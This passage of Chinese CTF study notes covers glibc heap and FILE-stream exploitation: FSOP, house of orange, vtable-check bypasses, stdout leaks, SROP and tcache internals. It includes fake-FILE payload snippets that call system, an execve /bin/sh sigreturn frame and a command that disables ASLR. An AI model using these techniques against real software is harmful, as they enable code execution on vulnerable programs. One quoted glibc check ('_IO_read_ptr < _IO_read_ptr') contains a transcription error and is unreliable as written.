&& want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
{
if (__underflow (fp) == EOF)
break;
continue;
}
__underflow
会调用_IO_UNDERFLOW
,_IO_UNDERFLOW
又会调用_IO_new_file_underflow
,_IO_new_file_underflow
最终会调用_IO_SYSREAD
函数来执行read系统调用
count = _IO_SYSREAD (fp, fp->_IO_buf_base,
fp->_IO_buf_end - fp->_IO_buf_base);
调用_IO_SYSREAD
(vtable中的_IO_file_read
函数),该函数最终执行系统调用read,读取文件数据,数据读入到fp->_IO_buf_base
中,读入大小为输入缓冲区的大小fp->_IO_buf_end - fp->_IO_buf_base
。
设置输入缓冲区已有数据的size,即设置fp->_IO_read_end
为fp->_IO_read_end += count
。
2.fwrite
fwrite 同样是标准 IO 库函数,作用是向文件流写入数据,函数原型如下
size_t fwrite(const void* buffer, size_t size, size_t count, FILE* stream);
fwrite 的代码位于 / libio/iofwrite.c 中,函数名为_IO_fwrite
。 在_IO_fwrite
中主要是调用_IO_XSPUTN
来实现写入的功能。
根据前面对_IO_FILE_plus
的介绍,可知_IO_XSPUTN
位于_IO_FILE_plus
的 vtable 中,调用这个函数需要首先取出 vtable 中的指针,再跳过去进行调用。
written = _IO_sputn (fp, (const char *) buf, request);
在_IO_XSPUTN
对应的默认函数_IO_new_file_xsputn
中会调用同样位于 vtable 中的_IO_OVERFLOW
/* Next flush the (full) buffer. */
if (_IO_OVERFLOW (f, EOF) == EOF)
_IO_OVERFLOW
默认对应的函数是_IO_new_file_overflow
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
if (_IO_do_flush (f) == EOF)
return EOF;
在_IO_new_file_overflow
内部最终会调用系统接口 write 函数
count = _IO_SYSWRITE (fp, data, to_do);
输出的内容为f->_IO_write_ptr
到f->_IO_write_base
之间的内容
3.printf/puts
printf 和 puts 是常用的输出函数,在 printf 的参数是以’\n’结束的纯字符串时,printf 会被优化为 puts 函数并去除换行符。
puts 在源码中实现的函数是_IO_puts
,这个函数的操作与 fwrite 的流程大致相同,函数内部同样会调用 vtable 中的_IO_sputn
,结果会执行_IO_new_file_xsputn
,最后会调用到系统接口 write 函数。
printf 的调用栈回溯如下,同样是通过_IO_file_xsputn
实现
vfprintf+11
_IO_file_xsputn
_IO_file_overflow
funlockfile
_IO_file_write
write
前置知识先说到这,后面讲到相关攻击手法时会继续说明
4.FSOP(File Stream Oriented Programming)
根据对fread、fwrite、printf等IO函数源码的分析,可以知道这些函数最终都是调用了IO_FILE_plus中vtable内的函数
引用raycp大佬的总结
fopen
函数是在分配空间,建立FILE结构体,未调用vtable中的函数。
fread
函数中调用的vtable函数有:
_IO_sgetn
函数调用了vtable的_IO_file_xsgetn
。_IO_doallocbuf
函数调用了vtable的_IO_file_doallocate
以初始化输入缓冲区。- vtable中的
_IO_file_doallocate
调用了vtable中的__GI__IO_file_stat
以获取文件信息。 __underflow
函数调用了vtable中的_IO_new_file_underflow
实现文件数据读取。- vtable中的
_IO_new_file_underflow
调用了vtable__GI__IO_file_read
最终去执行系统调用read。
fwrite
函数调用的vtable函数有:
_IO_fwrite
函数调用了vtable的_IO_new_file_xsputn
。_IO_new_file_xsputn
函数调用了vtable中的_IO_new_file_overflow
实现缓冲区的建立以及刷新缓冲区。- vtable中的
_IO_new_file_overflow
函数调用了vtable的_IO_file_doallocate
以初始化输入缓冲区。 - vtable中的
_IO_file_doallocate
调用了vtable中的__GI__IO_file_stat
以获取文件信息。 new_do_write
中的_IO_SYSWRITE
调用了vtable_IO_new_file_write
最终去执行系统调用write。
fclose
函数调用的vtable函数有:
- 在清空缓冲区的
_IO_do_write
函数中会调用vtable中的函数。 - 关闭文件描述符
_IO_SYSCLOSE
函数为vtable中的__close
函数。 _IO_FINISH
函数为vtable中的__finish
函数。
house of orange的利用关键就在于控制_IO_list_all
,一般使用unsorted bin attack将_IO_list_all
的值修改为main_arena+88,再将unsortedbin的size修改为0x60,并将其伪造为一个FILE结构体,且在适当偏移的位置处伪造好vtable,将vtable中_IO_OVERFLOW
函数的位置修改为system,当我们申请chunk时会报错,unsortedbin会被放入0x60大小的smallbin链中,相对于main_arena+88的便宜为0x68,在FILE结构体中正好是chain的位置,于是_IO_list_all
就顺着chain找到了我们伪造的FILE结构体和vtable。
令,如果程序只能分配0x50(最终分配0x60)的chunk,那么该怎么利用?可以将unsortedbin修改为0xb1大小,这样做的原因是:当_IO_list_all
指向main_arena+88时,此时的chain为大小为0x60的smallbin那条链;当跳到0x60的smallbin那条链时,偏移0x68位置处(即chain的位置)又是大小为0xb0的smallbin的链,如下图所示
我们可以通过两跳来利用house of orange
5.绕过vtable check
glibc>=2.24的环境下,对于vtable的地址增加了检查,限制其在__start___libc_IO_vtables
和__stop___libc_IO_vtables
之间
绕过方法就是使用libc内部的vtable_IO_str_jumps
或_IO_wstr_jumps
_IO_str_jumps
函数表如下
其中有两个函数可以利用:_IO_str_overflow
和_IO_str_finish
_IO_str_overflow
的利用条件总结如下
_flags = 0
_IO_write_ptr = 0x7fffffffffffffff
_IO_write_base = 0
_IO_buf_end = (binsh-100)/2
_IO_buf_base = 0
fake_file = IO_FILE_plus_struct()
fake_file._flags = 0
fake_file._IO_read_ptr = 0x61
fake_file._IO_read_base=_IO_list_all-0x10
fake_file._IO_write_base=0
fake_file._IO_write_ptr=0x7fffffffffffffff
fake_file._IO_buf_base=0
fake_file._IO_buf_end=(binsh-100)/2
fake_file._mode=0
fake_file.vtable=_IO_str_jumps
pay+=str(fake_file).ljust(0xe0,'\x00')+p64(system)
_IO_str_finish
的利用条件总结如下
fp->_flags&1==0
fp->_mode <= 0
fp->_IO_write_ptr > fp->_IO_write_base
fp->_IO_buf_base=binsh
fp->vtable=_IO_str_jumps-8
fp+0xe8=system
fake_file = IO_FILE_plus_struct()
fake_file._flags = 0
fake_file._IO_read_ptr = 0x61
fake_file._IO_read_base =_IO_list_all-0x10
fake_file._IO_buf_base = binsh
fake_file._mode = 0
fake_file._IO_write_base = 0
fake_file._IO_write_ptr = 1
fake_file.vtable = _IO_str_jumps-8
pay+=str(fake_file).ljust(0xe8,'\x00')+p64(system)
6.IO FILE 之任意读写
1.stdin
标准输入缓冲区进行任意地址写
在前面的fread调用链中,看到fread最终调用了_IO_SYSREAD (fp, fp->_IO_buf_base,fp->_IO_buf_end - fp->_IO_buf_base)
函数来读入数据,因此要想利用stdin
输入缓冲区需设置FILE结构体中_IO_buf_base
为write_start
,_IO_buf_end
为write_end
。
int
_IO_new_file_underflow (_IO_FILE *fp)
{
_IO_ssize_t count;
...
## 如果存在_IO_NO_READS标志,则直接返回
if (fp->_flags & _IO_NO_READS)
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
## 如果输入缓冲区里存在数据,则直接返回
if (fp->_IO_read_ptr < fp->_IO_read_end)
return *(unsigned char *) fp->_IO_read_ptr;
...
##调用_IO_SYSREAD函数最终执行系统调用读取数据
count = _IO_SYSREAD (fp, fp->_IO_buf_base,
fp->_IO_buf_end - fp->_IO_buf_base);
...
}
libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)
所有的条件总结如下为:
- 设置
_IO_read_end
等于_IO_read_ptr
。 - 设置
_flag &~ _IO_NO_READS
即_flag &~ 0x4
。 - 设置
_fileno
为0。 - 设置
_IO_buf_base
为write_start
,_IO_buf_end
为write_end
;且使得_IO_buf_end-_IO_buf_base
大于fread要读的数据。
通常就是修改_IO_buf_base
的低字节,然后就能够通过scanf或者其他调用IO函数的函数来修改FILE结构体,从而进一步劫持程序流。
还有需要注意的一点
在_IO_new_file_underflow
函数中,有这个判断
if (fp->_IO_read_ptr < fp->_IO_read_ptr)
return *(unsigned char *) fp->_IO_read_ptr;
也就是说只有当_IO_read_ptr
等于_IO_read_ptr
时,才会调用_IO_SYSREAD
来写入数据
而在_IO_SYSREAD
函数执行完后,有
fp->_IO_read_end += count;
这样的话我们想要再次利用IO_FILE来进行写数据的话就不能成功了,因此我们需要增大_IO_read_ptr
使其满足上面的判断
如何增大?
IO_getc
或者getchar
每执行一次都会使_IO_read_ptr
+1,可以多次调用这两个函数来满足判断。
2.stdout
标准输入缓冲区进行任意地址读写
1.任意写
任意写的主要原理为:构造好输出缓冲区将其改为想要任意写的地址,当输出数据可控时,会将数据拷贝至输出缓冲区,即实现了将可控数据拷贝至我们想要写的地址。
相关源码如下
_IO_size_t
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{
...
## 判断输出缓冲区还有多少空间
else if (f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */
## 如果输出缓冲区有空间,则先把数据拷贝至输出缓冲区
if (count > 0)
{
...
memcpy (f->_IO_write_ptr, s, count);
只需要将_IO_write_ptr
指向write_start
,_IO_write_end
指向write_end
即可
2.任意读
利用
stdout
进行任意地址读的原理为:控制输出缓冲区指针指向我们输入的地址,构造好条件,使得输出缓冲区为已经满的状态,再次调用输出函数时,程序会刷新输出缓冲区即会输出我们想要的数据,实现任意读。
核心代码如下
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
## 判断标志位是否包含_IO_NO_WRITES
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
## 判断输出缓冲区是否为空
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
{
...
}
## 输出输出缓冲区
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
return (unsigned char) ch;
}
libc_hidden_ver (_IO_new_file_overflow, _IO_file_overflow)
static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
...
_IO_size_t count;
if (fp->_flags & _IO_IS_APPENDING)
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
_IO_off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
## 调用函数输出输出缓冲区
count = _IO_SYSWRITE (fp, data, to_do);
...
return count;
}
需要满足的条件为
- 设置
_flag &~ _IO_NO_WRITES
即_flag &~ 0x8
。 - 设置
_flag & _IO_CURRENTLY_PUTTING
即_flag | 0x800
- 设置
_fileno
为1。 - 设置
_IO_write_base
指向想要泄露的地方;_IO_write_ptr
指向泄露结束的地址。 - 设置
_IO_read_end
等于_IO_write_base
或设置_flag & _IO_IS_APPENDING
即_flag | 0x1000
。 - 设置
_IO_write_end
等于_IO_write_ptr
(非必须)。
另外,在_IO_new_file_overflow
函数中,有
_IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
我们在做无泄漏的堆题时,改stdout结构体开头为p64(flag)+p64(0)*3+p8(0)
,其中p8(0)对应修改的就是_IO_write_base
,将其改小一些,就会输出_IO_write_base
及其附近的一堆地址来达到泄漏libc地址的目的。
记录一下flag的构造
flag=0
flag&=~8
flag|=0x800
flag|=0x8000
在printf函数中会调用_IO_acquire_lock_clear_flags2 (stdout)来获取lock从而继续程序,如果没有_IO_USER_LOCK标志的话,程序会一直在循环,而_IO_USER_LOCK定义为#define _IO_USER_LOCK 0x8000,因此需要设置flag|=0x8000才能够使exp顺利进行
0x13.global_max_fast相关利用
global_max_fast
规定了fastbin的最大大小,64位机器下,默认为0x80.
一般通过unsortedbin attack复写global_max_fast为main_arena的地址,这样后续我们释放多大的堆块都会被认为是fastbin,会根据fastbin的序号放到对应的地址中。如果我们能申请并释放很大的堆块的话,且计算好堆块的size,就能够在任意地址写入堆块的地址。通过这种任意地址写堆地址的方式,我们可以修改_io_list_all
为一个堆块的地址,并事先在堆块中伪造好FILE结构体,类似于house of orange。
或者,有些题目不允许分配fastbin,例如规定了申请的chunk大小大于0x80,使用了mallopt(1,0)来限制了fastbin大小为0,也就是没有fastbin。这种情况下可以复写global_max_fast为main_arena,这样就可以重新使用fastbin了。
0x14.unlink
原理不多说
构造方式为
假设有两个chunk,chunk1和chunk2,在chunk1中伪造一个fake_chunk,fake_chunk的fd为&chunk1_addr-0x18,bk为&chunk1_addr-0x10,还需要将chunk2的inuse位置为0,最后再free掉chunk2,这样chunk1的指针就会转移到&chunk1_addr-0x18处,我们就能够控制堆的管理地址了。
0x15.SROP
目前ctf比赛中单纯的srop很少见,多用于堆题开启了沙箱,需要用orw读取flag的情况
pwntools中集成了SROP的伪造模块,使用方式如下
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve #系统调用号
sigframe.rdi = stack_addr + 0x120 # "/bin/sh" 's addr 参数一
sigframe.rsi = 0x0 #参数二
sigframe.rdx = 0x0 #参数三
sigframe.rsp = stack_addr #执行完系统调用后要跳转的地址
sigframe.rip = syscall_ret #syscall ret的地址
使用前还需声明目标架构
0x16.partial overwrite
当程序开启pie和canary时,如果程序的功能是read-printf这种类型,且能运行两次或者多次,第一次泄露canary,第二次覆盖函数返回地址的末尾两位,如果是mian函数的返回地址那就是__libc_start_main
,复写末位两位可以使程序重新运行,但canary不会变,这样就能够泄露libc地址并且rop了。
0x17.各种保护
在ctfpwn中一般面对的是四种保护机制,分别为RELRO、Canary、NX和PIE
这四种保护的开启方式如下
1.RELRO
gcc -o demo demo.c // 默认情况下,是Partial RELRO
gcc -z norelro -o demo demo.c // 关闭,即No RELRO
gcc -z lazy -o demo demo.c // 部分开启,即Partial RELRO
gcc -z now -o demo demo.c // 全部开启,即FULL RELRO
partial RELRO的情况下,GOT表是可写的(.got.plt);而在FULL RELRO的情况下,GOT表不可写,lazy resolution 是被禁止的,所有导入的符号都在 startup time 被解析。
2.Canary
gcc -o demo demo.c // 默认情况下,不开启Canary保护
gcc -fno-stack-protector -o demo demo.c //禁用栈保护
gcc -fstack-protector -o demo demo.c //启用堆栈保护,不过只为局部变量中含有 char 数组的函数插入保护代码
gcc -fstack-protector-all -o demo demo.c //启用堆栈保护,为所有函数插入保护代码
这种保护会在rbp上方添加一个cookie,32位机器下为4字节,64位机器下为8字节,且末尾为空字符
当栈溢出覆盖了canary后,就会调用___stack_chk_fail来终止程序
3.NX
gcc -o demo demo.c // 默认情况下,开启NX保护
gcc -z execstack -o demo demo.c // 禁用NX保护
gcc -z noexecstack -o demo demo.c // 开启NX保护
NX即No-eXecute(不可执行)的意思,windows上称为DEP,无法在栈上执行shellcode
4.PIE
需要在ASLR开启后PIE才会生效
ASLR:内存地址随机化机制(address space layout randomization)
0 - 表示关闭进程地址空间随机化。
1 - 表示将mmap的基址,stack和vdso页面随机化。
2 - 表示在1的基础上增加栈(heap)的随机化。
sudo -s echo 0/1/2 > /proc/sys/kernel/randomize_va_space
开启PIE保护
gcc -o demo demo.c // 默认情况下,不开启PIE
gcc -fpie -pie -o demo demo.c // 开启PIE,此时强度为1
gcc -fPIE -pie -o demo demo.c // 开启PIE,此时为最高强度2
gcc -fpic -o demo demo.c // 开启PIC,此时强度为1,不会开启PIE
gcc -fPIC -o demo demo.c // 开启PIC,此时为最高强度2,不会开启PIE
PIE随机化了ELF装载内存的基址(.text、plt、got、data等共同的基址)
0x18.abs函数溢出点
abs函数接收4字节有符号int数,当传入0x80000000时,其返回结果仍然是0x80000000,由于4字节int正数将无法表示这么大,因此,其值是一个负数
0x19.指针未初始化漏洞
1.rec_33c3_2016
在功能5中
当v2==0时没有给v1赋值,然后调用了v1,如果我们能够控制栈上的数据就能够达成任意函数执行
在功能2中
进行累加操作的时候,首先将栈压低了0x8的空间,然后又push了两个值入栈,所以这一系列操作相当于把栈压低了0x10,随后又将栈升高了0x8的空间,这样一来,每累加一次就把栈压低了0x8,所以只需要计算出当前栈和功能5中的v1的栈的距离就能够将esp挪过去,接着再利用这个累加功能往v1中写rop就行。
2.ciscn_2019_ne_6
在delete功能中,即使ptr并不满足条件,也依然会判断ptr是否有值,有值的话依然会将其free,且清空堆指针的操作是在if代码块内部,这样的话如果我们能够控制ptr的值就能够任意地址free。
如何控制ptr,需要从free的上一个函数入手
在进行free之前还有一个函数要执行,这个函数能够写入一些数据
调试后能够发现,在栈中通过s写入0x28的数据刚好能够覆盖ptr,因此我们可以泄露出堆地址,先正常free一遍,然后利用这个漏洞再次free,就能够造成double free。
在这两题中,IDA很贴心的将未初始化的指针都用不同的颜色标注了出来,tql。
0x1a.ELF文件中的一些段
.bss
包含目标文件中未初始化的全局变量。一般情况下,可执行程序在开 始运行的时候,系统会把这一段内容清零。但是,在运行期间的 bss 段是由系统初 始化而成的,在目标文件中.bss 节并不包含任何内容,其长度为 0
.data/.data1
这两个节用于存放程序中被初始化过的全局变量。在目标文件中,它们是占 用实际的存储空间的,与.bss 节不同。
.debug
本节中含有调试信息,内容格式没有统一规定。所有以”.debug”为前缀的节名 字都是保留的。
.dynamic
本节包含动态连接信息
.dynstr
此节含有用于动态连接的字符串,一般是那些与符号表相关的名字
.dynsym
此节含有动态连接符号表。
.fini
此节包含进程终止时要执行的程序指令。当程序正常退出时,系统会执行这 一节中的代码。
.got
此节包含全局偏移量表。
.plt
此节包含函数连接表。
.init
此节包含进程初始化时要执行的程序指令。当程序开始运行时,系统会在进 入主函数之前执行这一节中的代码。
rodata/.rodata1
本节包含程序中的只读数据,在程序装载时,它们一般会被装入进程空间中 那些只读的段中去。
.shstrtab
本节是“节名字表”,含有所有其它节的名字。
.strtab
本节用于存放字符串,主要是那些符号表项的名字。
.symtab
本节用于存放符号表。
.text
本节包含程序指令代码
0x1b.巧用fileno
1.d3ctf_2019_ezfile
add功能最大只能分配0x18的chunk
delete功能存在uaf
encrypt功能存在栈溢出
程序没有show功能,且程序中没有调用puts、printf一类的的函数,无法利用io_file泄露libc地址。
利用方法为:
首先利用uaf修改IO_2_1_stdin的fileno参数为3
通过栈溢出的漏洞,partial overwrite返回地址到这
此时open函数的rdi来源于这里
rdi来源于rax,rax来源于seed,而seed是我们可以控制的,所以open函数的rdi也就是我们可以控制的,于是将seed设置为./flag,fd=open(“./flag”,0)=3,后面调用scanf的时候
就会输出flag的内容。
2.ciscn_final_2
这题在初始化函数中打开了flag,并且将其fd修改为了666,后面又开启了沙箱
在delete函数中存在uaf,且是通过bool这个全局变量来判断是否要free
但bool这一个全局变量却对应着两个类型的chunk,因此可以造成double free。
但由于能输入的数据都是数字,所以没办法通过正常的方法来getshell,因此需要利用flag的fd
利用uaf修改IO_2_1_stdin的fileno为666,在利用byebye功能中的scanf功能,即可输出flag
0x1c.从RCTF no_write中学到的一些知识
1.__libc_start_main
会在内存内写入initial
,exit_funcs_lock
的地址。
2.在__do_global_dtors_aux
中有一条gadget:
0x4005e8 <__do_global_dtors_aux+24>: add DWORD PTR [rbp-0x3d],ebx
0x4005eb <__do_global_dtors_aux+27>: nop DWORD PTR [rax+rax*1+0x0]
0x4005f0 <__do_global_dtors_aux+32>: repz ret
结合万能gadget可以做到往任意地址写入一个值
3.在strncmp中会调用__strncmp_sse42
函数,这个函数的的参数和strncmp一样,地址可以在strncmp中查看
0x7ffff7a81d19 : lea rax,[rip+0xe77f0] # 0x7ffff7b69510 __strncmp_sse42的地址
0x7ffff7a81d20 : je 0x7ffff7a81d37
0x1d.glibc2.32中的一点变化
在glibc2.32中对tcache的取出和放入时进行了处理,称为safe-linking(异或加密),具体代码如下
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;
e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
tcache的fd位置会被赋值为PROTECT_PTR (&e->next, tcache->entries[tc_idx])
PROTECT_PTR
的实现如下
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)
会将pos右移12位之后再和ptr抑或,pos实际上就是要free的堆的地址,ptr则是对应链表的尾部
结合一个小程序来看看具体现象
#include <stdio.h>
#include <stdlib.h>
int main()
{
char *a=malloc(0x40);
char *b=malloc(0x40);
free(a);
free(b);
return 0;
}
free(a)之后
fd指针为0x0000000555555757
由0x5555557572a0>>12&0
计算得来,在free(a之前,因为pos为0x5555557572a0,而tcache->entries[tc_idx]为0
free(a)之后,tcache->entries[tc_idx]为0x5555557572a0,当free(b)时,pos为0x5555557572f0,ptr为0x5555557572a0,所以此时的e->next会被赋值为0x5555557572f0>>12^0x5555557572a0=0x00005550002025f7
safe-linking的实现大概就是这样
0x1e.tcache结构体
上面既然记录了tcache相关的一些知识,就顺便再记录一下tcache相关的结构体
依然拿2.32举例
1.typedef struct tcache_entry
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key;
} tcache_entry;
这个结构体就是我们一直在攻击的tcache的实现,应该说一目了然,next指针就是指向下一个tcache,key指针防止double free,存放着tcache_perthread_struct的地址
2.tcache_perthread_struct
typedef struct tcache_perthread_struct
{
uint16_t counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
这个堆块结构体用来管理tcache
# define TCACHE_MAX_BINS 64
两个成员分别为一个uint16类型的数组,大小为64;以及一个指针数组,大小依然是64;
counts数组用来表示某个大小的tcache的数量,比如有两个0x20的tcache,那么counts[0]即为2;entries这个数组用来存储某条tcache链表的链表头。
和其他bins的不一样,tcache_perthread_struct由malloc分配空间,也就是说tcache_perthread_struct这个结构体的位置在heap段,glibc2.32中的大小为0x290,其中counts数组大小为0x40*2=0x80,2.27中大小为0x250.
这里顺带再介绍一下TCACHE_MAX_BINS
的攻击方式。
前面说了,counts数组用来记录tcache的数量,在__libc_malloc函数中有如下代码
if (tc_idx < mp_.tcache_bins
&& tcache
&& tcache->counts[tc_idx] > 0)
{
return tcache_get (tc_idx);
}
其中的tcache_bins就是TCACHE_MAX_BINS,如果tc_idx小于TCACHE_MAX_BINS并且有tcache且counts[tc_idx]数组不为空,就会调用tcache_get函数。
TCACHE_MAX_BINS
的攻击方式和global_max_fast
的攻击方式有相似之处,如果我们能将TCACHE_MAX_BINS
修改成一个很大的值,那么tcache_perthread_struct
这个结构体也会很大,可能会与我们的可控区域重合,我们在可控区域中的某个位置写入一个地址,如malloc_hook,然后再计算出这个位置对应的tcache大小,然后申请(前提是可以申请这么大的chunk并且count[tc_idx]对应的位置不为空)这么大的chunk,就会将malloc_hook分配给用户。